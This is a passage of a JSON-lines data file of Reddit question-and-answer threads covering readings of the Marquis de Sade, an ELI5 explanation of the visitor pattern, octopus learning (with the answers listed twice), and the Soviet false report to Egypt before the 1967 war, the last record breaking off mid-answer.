making it through! *120 Days of Sodom* is one of the most god-damned encyclopedic texts I can think of. Tough read.\n\nThe Marquis de Sade was willing to conform to a semblance of public life (he had a wife and a child). But was also somewhat notorious for his ill treatment of prostitutes early on. His ruthless behavior in the bedroom (although not rigorously documented) was the subject of rumors in brothels, and he was once even investigated for it. This would not have been completely out of the norm at that time, but for some reason or another (maybe a failure in subtlety) the Marquis was targeted. As Simone De Beauvoir puts it in her essay [\"Must We Burn Sade?\":] (_URL_1_) \n\n > \"Scions of a declining class which had once possessed concrete power, but which no longer retained any real hold on the world, they tried to revive symbolically, in the privacy of the bedchamber, the status for which they were nostalgic: that of the lone and sovereign feudal despot. The orgies of the Duke of Charolais, among others, were bloody and famous.\"\n\nSade was imprisoned on multiple occasions for his \"excesses,\" notably in 1763 for the indignities he inflicted upon a beggar named Rose Keller. In this case, Sade was charged with beating Keller, cutting her with a knife, and pouring wax into the wounds. He was imprisoned again in 1771 for debt. And then again, shortly after, in 1772 for sodomizing his manservant and 'poisoning' a prostitute with spanish fly in Marseille. For this last he spent over a decade jailed in Vincennes and then in the Bastille. This is around the time he wrote *120 Days of Sodom,* one of [\"16 historical novellas, 2 volumes of essays, a diary and some 20 plays\"](_URL_0_) that Sade wrote during his long incarceration.  \n\nFor what it's worth, (in terms of authorial intent) I've always read this text in two lights: as a small (somewhat politicized) rebellion on the part of Sade and as an outlet for his immense boredom. His systematic recounting of acts and repetitive mode of writing reads...almost like a manifesto, as though his private pleasures somehow, at one point or another, transmuted into principles\u2013into an ethics of being.  \n\nSo it's possible (probable) that Sade acted out many of the debaucheries outlined in *120 Days of Sodom*. But I also think his sadism is more projective than impulsive. I think he mainly derived sexual pleasure from the writing in itself. \n\n\n", "In most French literary circles, Sade is considered canonical and is spoken of in the same breath as Balzac or Flaubert. In spite or because of his work's morally outrageous, pornographic depictions, it is also held up as a prime example of the novelistic form's purportedly inherent push towards absolute freedom. This makes even more sense when you read the Marquis's political and philosophical writings, such as the famous *Fran\u00e7ais, encore un petit effort si vous voulez \u00eatre r\u00e9publicains* (*French citizens, try a little harder if you wish to become republican*), which can be seen as a rhetorical attempt at spurring a permanent revolution, several decades before Marx was even born.\n\nAs another redditor noted, Georges Bataille is one of Sade's greatest exegetes, but I would like to add that his close friend Maurice Blanchot provided an even more fascinating interpretation of *Justine* and *The 120 Days of Sodom*'s textual labyrinths by emphasizing their polemical streak. Sade's novels are quite similar to his pamphlets in that they are notable for their relentless rhetoric. He tries to persuade the reader of \"cruel\" nature's superiority over Christian values, constantly punishing those of his characters that have yet to figure out just how vile human beings truly are to each other. In other words, Sade seeks emancipation from social mores and norms, which to him are collective straitjackets, and his means of achieving that goal are primarily verbal and logical, i.e. systematic: he wants to change the reader's mind about human nature, and he will do anything to get his way. Thus, even though he was jailed towards the end of his life, he still tried to write his way out\u2026 and into a potential reader's brain.\n\nThis is why his grisly eroticism became eponymous and why his name won't be forgotten. By descending further and further, via language, into the least avowable recesses of the human mind, he wished to demonstrate just how appalling we truly are as a race. The only reasonable stance, in such a savage universe, is to become a penetrator rather than a penetratee. It's a form of hardcore libertarianism, albeit in a highly distorted sense. Now, to what extent does this translate into historical reality? We know that Sade himself practiced part of what he preached, so to speak, and abused several of his servants, going as far as cutting and slicing a beggar without her consent. He was undoubtedly quite the psychopath, but though we may never know for sure, it can safely be said that none of his deeds ever went as far as his writings, which remain unrivalled in terms of methodical madness.\n\nSo his pornography has a point, which he hammers over and over again, rendering it almost meaningless through endless repetition. To go back to your question, that aspect of his writing is very much of the imagination, a pure figment or fantasy meant to poison his fictional audience's mind and pit it against its own sense of moral self-worth. Following Blanchot, who ascribes Sade's importance to the primarily rhetorical aspect of his writing, I would argue that his work acts like a virus, far from the strictures of realism.\n\nThis is anything but a historiographical answer, but there you have it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/literature/comments/1su6c0/the_120_days_of_sodom_marquis_de_sade_possibly/", "https://en.wikipedia.org/wiki/Hellfire_Club"], ["http://supervert.com/elibrary/georges_bataille/use_value_of_daf_de_sade"], ["http://www.nytimes.com/2011/07/24/books/review/why-writers-belong-in-prison.html?pagewanted=all&amp;_r=0", "http://books.google.com/books?id=cYiouOihTnAC&amp;pg=PT17&amp;lpg=PT17&amp;dq=testimony+at+the+Marseille+trial+Sade&amp;source=bl&amp;ots=gXzwtS0Ee7&amp;sig=-a-2JAoXoAg9emAtrPVl_9u7qRE&amp;hl=en&amp;sa=X&amp;ei=VTPYUqzrFs7JsQSIuYLABw&amp;ved=0CDMQ6AEwAQ#v=onepage&amp;q=testimony%20at%20the%20Marseille%20trial%20Sade&amp;f=false"], []]}
{"q_id": "1a26t8", "title": "visitor pattern", "selftext": "Assuming I have no programming knowledge, how would you describe the visitor pattern? I'm having a difficult time grasping the concept and I don't know why. \n\nPerhaps it would make sense if someone could bluntly explain it at a basic level. Also for what it's worth, I'm currently learning Python. Thanks in advance!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1a26t8/eli5_visitor_pattern/", "answers": {"a_id": ["c8tfzml"], "score": [3], "text": ["imagine an analogy to a Unisex Hair Salon. \n\nthe Hair Salon provides a service (haircuts) but they can provide haircuts to lots of different types of clients. the thing that gets changed is the client, not the salon. the client visits, brings its own hair, gets the hair cut (and its a slightly different hair cut based on who the client is), and then walks out, keeping the results of the cut.\n\nnow apply this to programming. the salon is a Visitable Service. the Visitable Service requires a particular interface for all its Visitors but it doesn't care what the Visitor object is besides that. objects that implement an appropriate interface method can be Visitors to the service. they can be called as parameters by a method of the Visitable Service that performs the computation. \n\nsince you mention you're learning Python, check out the [PrettyPrinter](_URL_0_) module of Python to see a good example of when you might reasonably use the Visitor pattern for something useful. PrettyPrinter is a visitable service. it works on any Python object that implements the \\_\\_repr\\_\\_ interface."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://docs.python.org/2/library/pprint.html"]]}
{"q_id": "kfs0g", "title": "Octopi have turned off annoying aquarium lights by squirting water at them, can use tools, and open jars - all while living as little as a year. How do they manage to learn so fast?", "selftext": " > Octopi have turned off annoying aquarium lights by squirting water at them, can use tools (veined octopus) and open jars (see video).\n > \n > Amazingly, octopus do all this while living as little as a year. They grow to full size, solve puzzles, breed and die while human babies are still learning to sit up and crawl. That\u2019s mind-blowing. And it makes you wonder \u2013 what could an octopus achieve in fifty years?\n > \n\nSee _URL_0_", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/kfs0g/octopi_have_turned_off_annoying_aquarium_lights/", "answers": {"a_id": ["c2jxiqi", "c2jy9g8", "c2jynjw", "c2jyp8m", "c2jys7x", "c2jytjt", "c2jzdwz", "c2k1vnt", "c2k2pn2", "c2jxiqi", "c2jy9g8", "c2jynjw", "c2jyp8m", "c2jys7x", "c2jytjt", "c2jzdwz", "c2k1vnt", "c2k2pn2"], "score": [37, 5, 6, 294, 5, 32, 10, 7, 3, 37, 5, 6, 294, 5, 32, 10, 7, 3], "text": ["Another way to think of it is why human babies *can't* learn those things that fast.\n\nSome ideas (I feel like I've read them somewhere but might be straight from my ass): 1) since a human child's head must pass through a birth canal, their brain can't be that big when it emerges. 2) humans evolved to have a much longer development time while they're dependent on parents to foster social cohesion and bonding. \n\nIf this is true, it would be great if someone with more knowledge could elaborate.", "I'm not an expert by any means, but I may as well take a shot.  \n\nI think they do all of this in a year because they have evolved as a species to mature at a much faster rate than humans.  They only have a year to procreate, and are on their own from the point of birth.  If it took them even a month to develop adaptation skills, they would die.  Whereas humans have a much longer life span, and are fed/clothed/watched over by their parents, so they don't need to adapt at such a rapid pace in order to survive.  I'd venture a guess that the 'childhood' stage of an octopus is very short, as it would be advantageous to procreate as fast as possible.", "My theory is that octopodises (didn't want to choose the wrong one) are clear evidence of alien intelligence.\n\nOk, not really. . . but I've been just as equally mystified by them and their brethren for what appears to be an almost instinctual level of intelligence not found anywhere else in the animal kingdom. They can also solve mazes they've never been through. Change colors in amazingly complex ways. \n\nThe other one that tripped me out. When an octo-fuckyou gets pregnant, they are also basically signing their own death-warrant. They'll literally spend every last resource that they have to insure the birth of their progeny and  it is the last thing they do to watch them hatch.", "Abstract 1 ([link to article](_URL_1_))\n\nCellular mechanisms underlying learning and memory were investigated in the octopus using a brain slice preparation of the vertical lobe, an area of the octopus brain involved in learning and memory. Field potential recordings revealed long-term potentiation (LTP) of glutamatergic synaptic field potentials similar to that in vertebrates. These findings suggest that convergent evolution has led to the selection of similar activity-dependent synaptic processes that mediate complex forms of learning and memory in vertebrates and invertebrates.\n\nie. their brain works essentially like ours (vertebrates) \n\n[source 2](_URL_0_)\nThey have at least as many neurons as a field mouse, but they have brains in each arm as well and these are responsible for movement mostly,\n\n\nSo maybe more of their actual brain could potentially be used for other memory tasks.\nAdd to that that they only live a year so rapid brain development is advantageous and you have a fast learning, quick developing creature.\nwith these two traits alone you could get a creature capable of using complex step actions to accomplish goals.\n\nEdit (separate my supposition from research quotes)", "I found a BoingBoing article that is a pretty interesting read. The article's main focus is on octopus intelligence:\n\n_URL_0_\n\nHere's a snippet:\n\n > The little octopus picks up two halves of a coconut shell and carries them across the ocean floor with her suckers. Suddenly, startled, she drops the shell halves and dives inside.\n\n > Like a lot of you, I watched that video and wondered, \"Just how smart are cephalopods, anyway?\"\n\n > Turns out, on a scale of one to chimpanzee, octopuses are probably somewhere close to matching wits with a dog. We don't really know for sure. It's difficult to devise intelligence testing for an animal that is so clearly different from us.\n\n > That said, research does offer some tantalizing hints that we may need to rethink our anti-invertebrate biases. Octopuses have personalities. They can recognize and respond to individual humans. And there's even some evidence that they play.\n\n > It makes sense that the octopus would be a smart animal, once you understand where and how it lives.\n\n > Octopuses are basically balls of delicious protein. And, unlike their cousins, the mollusks, they don't have protective shells. So they're fair game for just about anything with an appetite.\n\n > At the same time, octopuses are also solitary creatures\u2014they generally live alone from the time they're born, and don't have others to rely on for protection or to teach them the ways of the world. Stupid octopuses, or even octopuses that aren't quick on the uptake, get eaten.\n\n > The other pressure on octopus intelligence is environment, said Jennifer Mather, Ph.D., a comparative psychologist at the University of Lethbridge in Alberta, Canada. Mather has spent her career studying cephalopod intelligence. She describes the near-shore tropical waters, where octopuses first evolved, as an ecosystem even more complex than the tropical rain forest.\n\n > The result is a naturally inquisitive creature that makes individual decisions about how to use resources. Mather calls octopuses \"specializing generalists\" when it comes to diet, meaning that they can eat a lot of different things, but each individual tends to pick a very distinct diet of personal favorites.\n\n > These simple facts about octopus behavior are relatively easy to collect. That isn't true of all cephalopods. Squid, for instance, are much more difficult to study because they have a hair-trigger flight reflex that sends them careening into the walls of a tank anytime you so much as flip on a light, said James Wood, Ph.D., director of education at the Aquarium of the Pacific in Long Beach, California.\n\n > But this doesn't mean all octopus research is simple. Thornier questions\u2014how octopuses learn, what their relative IQ is and whether they have anything we'd call consciousness\u2014are very hard to pin down...\n\nAt the very least I hope that this provides you with more insight into cephalopod intelligence than you started out with.", "I think octopuses aren't actually all that unusual in their ability to learn.  I strongly suspect that the average mouse or rat is at least as smart as an octopus, and mice and rats reach maturity and can learn quite a bit in less than a year.  In fact, I would guess most mammals dog-sized or smaller learn quite a bit in their first year-probably as much or more than your average octopus.  I guess what I'm saying is that the default state of brains is the ability to learn quickly (at least in species which learn much at all), and that humans are something of an exception.  Also, it helps when the animal is pre-adapted to learn the sorts of things it learns.  For instance, humans learn language quickly but we are innately prone to do so.  Likewise, octopuses naturally pull things apart (rock piles, crab carapaces) to get at food, so that gives them a head start on learning to unscrew jars. \n\nI'm not sure a current species of octopus would learn much more if you could somehow keep it alive longer--in a lot of species learning capacity levels off with age.  But if a species of octopuses wasn't stuck in such a live fast-die young life history, I think it could evolve to be more intelligent, and particularly to have more social interaction and social learning.", " > And it makes you wonder \u2013 what could an octopus achieve in fifty years?\n\nThis is a fallacious way of thinking. It's like saying, \"Look how fast Usain Bolt can run and he's only 25, imagine how fast he'd run when he's 100!\". The difference between human infants and octopuses is not brain size (as I think someone speculated earlier) but rather simply one of development. That is, assuming there is actually a substantial difference between what an octopus and human infant can learn, then this is easily explained by the fact that the nervous system of an octopus is practically fully developed from birth, whereas the human brain continues to develop well into our 20s. \n\nIn other words, our ability to learn is dependent on a number of factors; memory, basic perceptual skills, motor skills, etc. As these characteristics develop, so too does an organism's ability to learn. Reaching full development represents the asymptote of our learning abilities, so whilst octopuses might approach this asymptote earlier than humans, it's unlikely that longer lifespans would result in them building octopus rockets and discovering new planets, etc (excluding the possibility of further evolutionary pressures that increase intelligence as a result of the increased lifespan). \n\nOf course, this is all assuming that octopuses demonstrate greater abilities to learn than human infants. Given the massive amounts of learning these infants undergo in order to learn basic motor skills, and more complex things like Theory of Mind and language, etc, I'm not sure it's accurate to suggest that the learning of an octopus is more impressive than that of an infant - the only difference would be that the learning of human infants is not directly observable.", "Don't they respond to threats by squirting? And desire by trying-different-pressures-to-open-things, re: clams and such? It seems like they'd be naturally inclined to use leverage, which would translate to tools, and it'd just be a small behavioral tweak to respond to the irritating light as if it were a threat, and then repeat the behavior when it worked. \n\nInteresting, now I'm thinking of \"opening hard cases with goodies inside\" as translating to \"understanding leverage\" and then to \"using tools.\" I know protohumans in the past, and primates today, seem specialized for getting at food that takes some thinking and working to get at. I bet that pre-adapted us to use tools.\n\nI dunno man, I'm skeptical. Are the octopi actually intelligently modeling their world, or are they stumbling on really neat tricks which are actually pretty banal given their natural behavioral inclinations?", "For anyone whos made it down this far and is interested in how all this relates to understanding consciousness.. What I find most interesting about this area of research is its potential for informing theories of consciousness (what is it?; what does it do? What structures are primarily involved?) from the angle of investigation how consciousness unfolded throughout history based on the corresponding neural developments. Im an emotion research student who dabbles in consciousness as well. But really it was just the footage in the documentary that nicely summarised the research all this stuff came from that had me mesmerised. Aliens of the deep was the title, I think.  \n\nThe octopus exhibits subtle cues revealing its high level of self-awareness. In this case, the organism knows *without having to try* that it can't fit through a round cut out in a Perspex box if the cut out is smaller than the width of the cartilage between it's eyes (the only part of an octopus that can't be compressed or deformed). They can discriminate this threshold point with centimetre precision all just by feeling the cut out with their arms! This is evidence for an embodied concept of self. \n\nIt's important not to brush over the advanced learning capacity of the octopus because current research in human consciousness has pinpointed its evolutionary purpose as facilitating certain types of learning, but the current (and only) learning/ conditioning paradigms that we have to experiment with are unable to distinguish between learning that is an exclusively unconscious or exclusively conscious process. Its near impossible to prove (note i didnt say completely impossible :) ) That's why experimenting with learning paradigms with animals that show signs of early self-awareness is so valuable - and exciting. We may be able to side step the problem with humans and get to explore early stages in the evolutionary development of consciousness. ", "Another way to think of it is why human babies *can't* learn those things that fast.\n\nSome ideas (I feel like I've read them somewhere but might be straight from my ass): 1) since a human child's head must pass through a birth canal, their brain can't be that big when it emerges. 2) humans evolved to have a much longer development time while they're dependent on parents to foster social cohesion and bonding. \n\nIf this is true, it would be great if someone with more knowledge could elaborate.", "I'm not an expert by any means, but I may as well take a shot.  \n\nI think they do all of this in a year because they have evolved as a species to mature at a much faster rate than humans.  They only have a year to procreate, and are on their own from the point of birth.  If it took them even a month to develop adaptation skills, they would die.  Whereas humans have a much longer life span, and are fed/clothed/watched over by their parents, so they don't need to adapt at such a rapid pace in order to survive.  I'd venture a guess that the 'childhood' stage of an octopus is very short, as it would be advantageous to procreate as fast as possible.", "My theory is that octopodises (didn't want to choose the wrong one) are clear evidence of alien intelligence.\n\nOk, not really. . . but I've been just as equally mystified by them and their brethren for what appears to be an almost instinctual level of intelligence not found anywhere else in the animal kingdom. They can also solve mazes they've never been through. Change colors in amazingly complex ways. \n\nThe other one that tripped me out. When an octo-fuckyou gets pregnant, they are also basically signing their own death-warrant. They'll literally spend every last resource that they have to insure the birth of their progeny and  it is the last thing they do to watch them hatch.", "Abstract 1 ([link to article](_URL_1_))\n\nCellular mechanisms underlying learning and memory were investigated in the octopus using a brain slice preparation of the vertical lobe, an area of the octopus brain involved in learning and memory. Field potential recordings revealed long-term potentiation (LTP) of glutamatergic synaptic field potentials similar to that in vertebrates. These findings suggest that convergent evolution has led to the selection of similar activity-dependent synaptic processes that mediate complex forms of learning and memory in vertebrates and invertebrates.\n\nie. their brain works essentially like ours (vertebrates) \n\n[source 2](_URL_0_)\nThey have at least as many neurons as a field mouse, but they have brains in each arm as well and these are responsible for movement mostly,\n\n\nSo maybe more of their actual brain could potentially be used for other memory tasks.\nAdd to that that they only live a year so rapid brain development is advantageous and you have a fast learning, quick developing creature.\nwith these two traits alone you could get a creature capable of using complex step actions to accomplish goals.\n\nEdit (separate my supposition from research quotes)", "I found a BoingBoing article that is a pretty interesting read. The article's main focus is on octopus intelligence:\n\n_URL_0_\n\nHere's a snippet:\n\n > The little octopus picks up two halves of a coconut shell and carries them across the ocean floor with her suckers. Suddenly, startled, she drops the shell halves and dives inside.\n\n > Like a lot of you, I watched that video and wondered, \"Just how smart are cephalopods, anyway?\"\n\n > Turns out, on a scale of one to chimpanzee, octopuses are probably somewhere close to matching wits with a dog. We don't really know for sure. It's difficult to devise intelligence testing for an animal that is so clearly different from us.\n\n > That said, research does offer some tantalizing hints that we may need to rethink our anti-invertebrate biases. Octopuses have personalities. They can recognize and respond to individual humans. And there's even some evidence that they play.\n\n > It makes sense that the octopus would be a smart animal, once you understand where and how it lives.\n\n > Octopuses are basically balls of delicious protein. And, unlike their cousins, the mollusks, they don't have protective shells. So they're fair game for just about anything with an appetite.\n\n > At the same time, octopuses are also solitary creatures\u2014they generally live alone from the time they're born, and don't have others to rely on for protection or to teach them the ways of the world. Stupid octopuses, or even octopuses that aren't quick on the uptake, get eaten.\n\n > The other pressure on octopus intelligence is environment, said Jennifer Mather, Ph.D., a comparative psychologist at the University of Lethbridge in Alberta, Canada. Mather has spent her career studying cephalopod intelligence. She describes the near-shore tropical waters, where octopuses first evolved, as an ecosystem even more complex than the tropical rain forest.\n\n > The result is a naturally inquisitive creature that makes individual decisions about how to use resources. Mather calls octopuses \"specializing generalists\" when it comes to diet, meaning that they can eat a lot of different things, but each individual tends to pick a very distinct diet of personal favorites.\n\n > These simple facts about octopus behavior are relatively easy to collect. That isn't true of all cephalopods. Squid, for instance, are much more difficult to study because they have a hair-trigger flight reflex that sends them careening into the walls of a tank anytime you so much as flip on a light, said James Wood, Ph.D., director of education at the Aquarium of the Pacific in Long Beach, California.\n\n > But this doesn't mean all octopus research is simple. Thornier questions\u2014how octopuses learn, what their relative IQ is and whether they have anything we'd call consciousness\u2014are very hard to pin down...\n\nAt the very least I hope that this provides you with more insight into cephalopod intelligence than you started out with.", "I think octopuses aren't actually all that unusual in their ability to learn.  I strongly suspect that the average mouse or rat is at least as smart as an octopus, and mice and rats reach maturity and can learn quite a bit in less than a year.  In fact, I would guess most mammals dog-sized or smaller learn quite a bit in their first year-probably as much or more than your average octopus.  I guess what I'm saying is that the default state of brains is the ability to learn quickly (at least in species which learn much at all), and that humans are something of an exception.  Also, it helps when the animal is pre-adapted to learn the sorts of things it learns.  For instance, humans learn language quickly but we are innately prone to do so.  Likewise, octopuses naturally pull things apart (rock piles, crab carapaces) to get at food, so that gives them a head start on learning to unscrew jars. \n\nI'm not sure a current species of octopus would learn much more if you could somehow keep it alive longer--in a lot of species learning capacity levels off with age.  But if a species of octopuses wasn't stuck in such a live fast-die young life history, I think it could evolve to be more intelligent, and particularly to have more social interaction and social learning.", " > And it makes you wonder \u2013 what could an octopus achieve in fifty years?\n\nThis is a fallacious way of thinking. It's like saying, \"Look how fast Usain Bolt can run and he's only 25, imagine how fast he'd run when he's 100!\". The difference between human infants and octopuses is not brain size (as I think someone speculated earlier) but rather simply one of development. That is, assuming there is actually a substantial difference between what an octopus and human infant can learn, then this is easily explained by the fact that the nervous system of an octopus is practically fully developed from birth, whereas the human brain continues to develop well into our 20s. \n\nIn other words, our ability to learn is dependent on a number of factors; memory, basic perceptual skills, motor skills, etc. As these characteristics develop, so too does an organism's ability to learn. Reaching full development represents the asymptote of our learning abilities, so whilst octopuses might approach this asymptote earlier than humans, it's unlikely that longer lifespans would result in them building octopus rockets and discovering new planets, etc (excluding the possibility of further evolutionary pressures that increase intelligence as a result of the increased lifespan). \n\nOf course, this is all assuming that octopuses demonstrate greater abilities to learn than human infants. Given the massive amounts of learning these infants undergo in order to learn basic motor skills, and more complex things like Theory of Mind and language, etc, I'm not sure it's accurate to suggest that the learning of an octopus is more impressive than that of an infant - the only difference would be that the learning of human infants is not directly observable.", "Don't they respond to threats by squirting? And desire by trying-different-pressures-to-open-things, re: clams and such? It seems like they'd be naturally inclined to use leverage, which would translate to tools, and it'd just be a small behavioral tweak to respond to the irritating light as if it were a threat, and then repeat the behavior when it worked. \n\nInteresting, now I'm thinking of \"opening hard cases with goodies inside\" as translating to \"understanding leverage\" and then to \"using tools.\" I know protohumans in the past, and primates today, seem specialized for getting at food that takes some thinking and working to get at. I bet that pre-adapted us to use tools.\n\nI dunno man, I'm skeptical. Are the octopi actually intelligently modeling their world, or are they stumbling on really neat tricks which are actually pretty banal given their natural behavioral inclinations?", "For anyone whos made it down this far and is interested in how all this relates to understanding consciousness.. What I find most interesting about this area of research is its potential for informing theories of consciousness (what is it?; what does it do? What structures are primarily involved?) from the angle of investigation how consciousness unfolded throughout history based on the corresponding neural developments. Im an emotion research student who dabbles in consciousness as well. But really it was just the footage in the documentary that nicely summarised the research all this stuff came from that had me mesmerised. Aliens of the deep was the title, I think.  \n\nThe octopus exhibits subtle cues revealing its high level of self-awareness. In this case, the organism knows *without having to try* that it can't fit through a round cut out in a Perspex box if the cut out is smaller than the width of the cartilage between it's eyes (the only part of an octopus that can't be compressed or deformed). They can discriminate this threshold point with centimetre precision all just by feeling the cut out with their arms! This is evidence for an embodied concept of self. \n\nIt's important not to brush over the advanced learning capacity of the octopus because current research in human consciousness has pinpointed its evolutionary purpose as facilitating certain types of learning, but the current (and only) learning/ conditioning paradigms that we have to experiment with are unable to distinguish between learning that is an exclusively unconscious or exclusively conscious process. Its near impossible to prove (note i didnt say completely impossible :) ) That's why experimenting with learning paradigms with animals that show signs of early self-awareness is so valuable - and exciting. We may be able to side step the problem with humans and get to explore early stages in the evolutionary development of consciousness. "]}, "title_urls": [], "selftext_urls": ["http://blogs.agu.org/outdoorscience/2011/01/20/smart-octopi-go-on-walkabout/"], "answers_urls": [[], [], [], ["http://blogs.sciencemag.org/origins/2009/10/tackling-brain-evolution-with.html", "http://jn.physiology.org/content/90/5/3547.short"], ["http://boingboing.net/2010/02/01/the-secrets-of-octop.html"], [], [], [], [], [], [], [], ["http://blogs.sciencemag.org/origins/2009/10/tackling-brain-evolution-with.html", "http://jn.physiology.org/content/90/5/3547.short"], ["http://boingboing.net/2010/02/01/the-secrets-of-octop.html"], [], [], [], []]}
{"q_id": "blxur1", "title": "What is the story behind the soviet intelligence passed to Egypt in the lead up to the 6-day war that Israel was massing troops on the Syrian Boarder, if this event even happened?", "selftext": "There was a TIL submitted today that brought this piece of history to my attention:\n\n_URL_0_\n\nThe TIL states the Encyclopedia Britannica as it's source. I looked on Wikipedia and found the same piece of information: \"In May 1967, Nasser received false reports from the Soviet Union that Israel was massing on the Syrian border.[36]\". Source \"36\" is \"Herzog 1982, p. 148\". I looked it up and the book does exist, but I don't have access to it. \n\nMy question is multi-fold: \n\nFirst, did this actually happen and did it cause the buildup that lead to the closing of the Straits of Tiran?\n\nSecond, if this happened as described what was the soviet motive for this misinformation of a \"kinda friendly nation\", I hesitate to say ally (or was it an error)?\n\nThank you", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/blxur1/what_is_the_story_behind_the_soviet_intelligence/", "answers": {"a_id": ["emuk78d"], "score": [11], "text": ["I'll give the short answers to both questions, and then I'll explain the context/situation and what happened. This is a multi-comment post, so see the response to my own first comment for more.\n\n1) It did actually happen. And yes, it did lead into the buildup of forces in the Sinai by Egypt, Israel's counter-mobilization, the expulsion of UN peacekeepers from the Sinai, and the blockade of the Straits of Tiran, followed by the Israeli preemptive strike on Egypt.\n\n2) We can't know for sure. Some have said it was intentional because they wanted a war, others claim it was intentional but they didn't want a war, just tensions, and still others have other explanations.\n\nSo let's launch into it!\n\n**Question 1: Did the intelligence start a spiral? Yes.**\n\nIt's now very, very well known that the Soviets provided intelligence to Egypt, claiming an attack was imminent by Israel on the Syrian border. It's also very well known that the intelligence was false. In fact, many Egyptian leaders knew it was false.\n\nBefore the play-by-play, you have to understand the context. Throughout the 1950s and 1960s, there have been a variety of flare-ups. For one, the Straits of Tiran had been closed to Israel until 1956, when the Suez Crisis occurred. Following that crisis, Egypt decided to allow Israeli ships through the Straits, though Israel warned Egypt that if it decided to blockade that waterway again, it would regard that blockade as an act of war and respond accordingly (this was stated in a speech to the UN General Assembly by Golda Meir, later to become Israel's Prime Minister in 1969). From 1957 to 1967, Israeli ships largely went undisturbed through the Straits, connecting Israeli markets with other areas as the port of Eilat continued to grow and develop (Israel's only other major port would be Haifa, which meant a long trip for ships through the Mediterranean and around Africa to reach Asia).\n\nDespite the opening of the Straits in 1956, however, there were a variety of other factors contributing to tensions. For one, the armistice lines set following the end of the 1948 war were unstable, and became more unstable by the day. There were constant skirmishes on the Syrian, Jordanian, and Egyptian borders. Many of them related to attempts by Israel and the Syrians and Jordanians to divert the Jordan River, a major water source that all sides wanted to control more clearly.\n\nStill other skirmishes related to cross-border incursions by Palestinian groups. Some groups operated with the consent and funding of Arab states, while others evaded Arab authorities while carrying out attacks on civilian targets in Israel. Fatah, for example (later to control the PLO and the Palestinian Authority following Oslo II in 1995), conducted its inaugural attack in January 1965, targeting an Israeli water pump that moved water from the wetter Galilee region towards the Negev desert in the south. The attack failed, with the explosives failing to detonate and the operatives being captured upon their return to Lebanon by Arab authorities. However, the attacks ramped up with particular intensity in the 1965-67 period. Many of these attacks also led to skirmishes, with Israel holding Arab states responsible for attacks originating in their territory. Palestinian groups, for their part, were *hoping* to spark a war, believing that if they could force a war, then they could force the Arab states to finally wipe Israel out, once and for all. While Arab leaders were more hesitant and believed they weren't ready for that kind of fight yet (though they certainly would've loved to be), the Palestinian groups were quite confident in their desires, and some Arab states viewed them as good proxies for \"letting off steam\" among Palestinian refugees within their borders, and also as a good way to bleed Israel and its populace.\n\nThere are a couple of important points to note in that regard. One is Samu. In November 1966, an Israeli border police vehicle (on the Israeli side of the border) hit a mine, killing three police officers. Israel, at this point rather fed up with the skirmishes, decided to launch a bigger display of force against villages in the West Bank that it believed had aided Fatah in carrying out the attack. King Hussein of Jordan had sent a personal apology to the American ambassador, requesting that he pass it to the Israelis. However, the ambassador went home for the weekend without passing it on, so Israel only learned of it *after* it had responded. Israel sent 400 men, 10 tanks, and 40 half-tracks to attack the village of Samu (as well as Rujm al-Madfa, where they demolished the police station and moved on). They hoped this would deter future fighting, but it did the opposite. Israeli forces destroyed much of the village, but a patrol of Jordanian troops began to approach, and since they had no time to escape, the Israeli forces laid an ambush. The fight became way bigger than Israel had wanted, including an air battle, the death of the Israeli battalion commander, and Israel was censured at the UN Security Council. 15 Jordanian troops were killed, 3 Arab civilians died, and riots broke out demanding King Hussein's overthrow. Israel had intended to get the villages to demand Hussein do more to prevent Fatah attacks and protect them. Instead, riots demanding he step down began in Hebron, Jerusalem, and Bethlehem, and Jordanian forces eventually opened fire, killing 4. The constant raids into Israel didn't peter out; Palestinians believed they were getting closer to starting the war they wanted, so they continued operations targeting civilians, hoping to spark another Samu that would spiral into a war. It also gave them the impression that Arab forces were indeed stronger than they seemed, and could defeat Israel.\n\nThis backfired operation helped set the backdrop for an event later on, in Syria. Syria was one of the most open backers of the Palestinian guerrilla groups. In Egypt and Jordan, the support was sporadic at best, and only for certain groups, so the United States was quite resistant and critical when Israel retaliated. On the Syrian front, however, the support was unabashed, leading one Defense Department official to actually ask Israel why it wasn't answering more forcefully, asking \"Why the hell didn't you beat [the Syrians] over the head when it would have been the most natural thing to do?\" On the Syrian front, Israel was preparing for a Samu-like reprisal strike, but it hoped to prevent it from escalating in the same way by being more precise in how it used force. On March 31, 1967, the opportunity presented itself, with Palestinian groups planting explosives under a water pump and railroad tracks. Israel decided to provoke the Syrians into attacking Israeli forces, so that there would be no doubt it had the right to respond. Israel sent tractors into the demilitarized zone, the Syrians fired on the tractors, but things were a bit different on April 7. Normally small arms fire was used, and no one ended up hurt. This time, the Syrians used cannons, so Israel fired back with its tanks, and the Syrian guns fired on Israeli villages across the border. Israel finally had the chance to respond that it was looking for, without anyone worrying that it was overreacting to Palestinian attacks. After an hour of Syrian shelling, despite UN attempts to mediate a quick ceasefire, Israel activated its air force, because Syria said it would only stop if Israel stopped agricultural work in the DMZ, which Israel refused to do (Syria also refused, for that matter, to restrict DMZ activities). Israel had been reluctant to take that step, believing a ceasefire after mutual shelling would be good enough to establish deterrence and convince the Syrians to stop sponsoring Palestinian attacks on Israelis. However, Israel's decision came because the intensified artillery barrage showed no signs of stopping. The Israeli jets bombed Syrian targets, villages and military alike, putting an end to the shelling. However, the Syrians also activated their MiGs. Israel's jets were French Mirage fighters, heavily modified to be more effective. The Israelis fought Syrian MiG-21s supplied by the Soviet Union. They downed two MiGs over the Golan Heights, and another 4 were downed in a dogfight over Damascus, the Syrian capital. The capital watched as the Syrians reported \"downing\" 5 Israeli planes, when in reality, Syria had lost 6 while Israel lost none. The Israeli pilots were far better trained, and Syria's air force was often terrible by comparison. The events of April 7 gave Syria a black eye, and set the backdrop for the later events leading up to the war. Israel was tired of launching these retaliations and believed it had to make a show of force to deter them, but the Arab states were unwilling or unable to stop the Palestinian guerrillas, were themselves tired of fighting over the DMZ, and were on edge because they saw the escalations as a slide towards war, as did the Israelis. It's for that reason that many sometimes describe the events of May 1967 as both sides \"bumbling\" into a war. It's actually a bit of a case study in how controlled escalation can go wrong, according to some.\n\nContinued below in a response ot my own comment."]}, "title_urls": 